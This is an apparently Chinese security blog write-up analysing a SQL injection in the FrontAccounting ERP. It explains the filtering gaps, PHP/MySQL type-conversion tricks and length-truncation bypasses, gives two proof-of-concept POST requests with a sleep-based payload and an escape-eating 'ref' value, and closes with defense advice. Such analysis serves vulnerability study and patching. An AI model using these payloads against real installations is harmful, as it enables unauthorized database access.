Frontaccounting一个有趣的 sql注入
字数 1110 2025-08-29 08:31:47
Frontaccounting SQL注入漏洞分析与利用
漏洞概述
Frontaccounting是一款开源的会计系统(ERP),在其某些版本中存在一个有趣的SQL注入漏洞。该漏洞源于对用户输入过滤不严,结合MySQL的特性实现了注入绕过。
环境准备
测试环境:docker mattrayner/lamp:latest-1604
漏洞分析
过滤机制分析
Frontaccounting使用db_escape()函数过滤参数,但某些参数未使用此函数。
关键过滤函数位于includes/session.inc:484:
// 使用ENT_QUOTES编码双引号和单引号
// 输入时单双引号全部会被实体编码
注入点定位
- 在
includes/db/class.reflines_db.inc:156处,如果设置变量$reference如'XXXXXX\',单引号可逃逸 - 在
admin/void_transaction.php中,$type变量可控 - 在
purchasing/includes/db/grn_db.inc中,$reference变量可控
关键注入路径
get_systype_db_info()函数- 表
grn_batch的插入操作
绕过技术
PHP特性绕过
switch ($type)
'25'和'+25dasdsadasda'在PHP中被视为相同
MySQL特性绕过
-
MySQL在字符串和整型转换时的特性:
'25'和'25dasdasdasd'等同于'+25dasdasdasd'- 整型和字符串可以相加
-
MySQL截断特性:
- 可导致转义符被"吃掉"
漏洞利用(POC)
第一种利用方式
通过po_entry_items.php中的insert方法:
POST /FA1/purchasing/po_entry_items.php?JsHttpRequest=0-xml HTTP/1.1
Host: 127.0.0.1:8888
[...]
supplier_id=1&OrderDate=12/31/2018&ref=001100422222222222222222222201700422222222222222212222/2018\\&supp_ref=...
关键点:
$reference变量在数据库中存储为60字节- 设置
$reference为61字节(如001100422222222222222222222201700422222222222222212222/2018\\) - 数据库中实际存储为
001100422222222222222222222201700422222222222222212222/2018\,完成注入
第二种利用方式
通过void_transaction.php:
POST /FA1//admin/void_transaction.php?JsHttpRequest=0-xml HTTP/1.1
Host: 127.0.0.1:8888
[...]
filterType=%2b25%2c25)%20or%20sleep(1)%23&FromTransNo=1&ToTransNo=999999...
最终执行的SQL语句:
SELECT * FROM 0_reflines WHERE trans_type='+25,25) or sleep(1)#' AND CHAR_LENGTH(`prefix`) AND LEFT('20170042222222222222222222220170042222222222222221222222221\', CHAR_LENGTH(`prefix`)) = `prefix` UNION SELECT * FROM 0_reflines WHERE trans_type='+25,25) and sleep(1)#' AND `prefix`=''
漏洞修复
官方已发布修复补丁,建议升级到最新版本。
总结
- 该漏洞利用了PHP和MySQL的类型转换特性
- 通过精心构造的字符串长度实现注入
+符号在绕过中起到了关键作用- 漏洞存在于多个功能点,具有较大影响范围
防御建议
- 对所有用户输入使用统一的过滤函数
- 使用参数化查询而非字符串拼接
- 严格限制输入长度和类型
- 升级到已修复的安全版本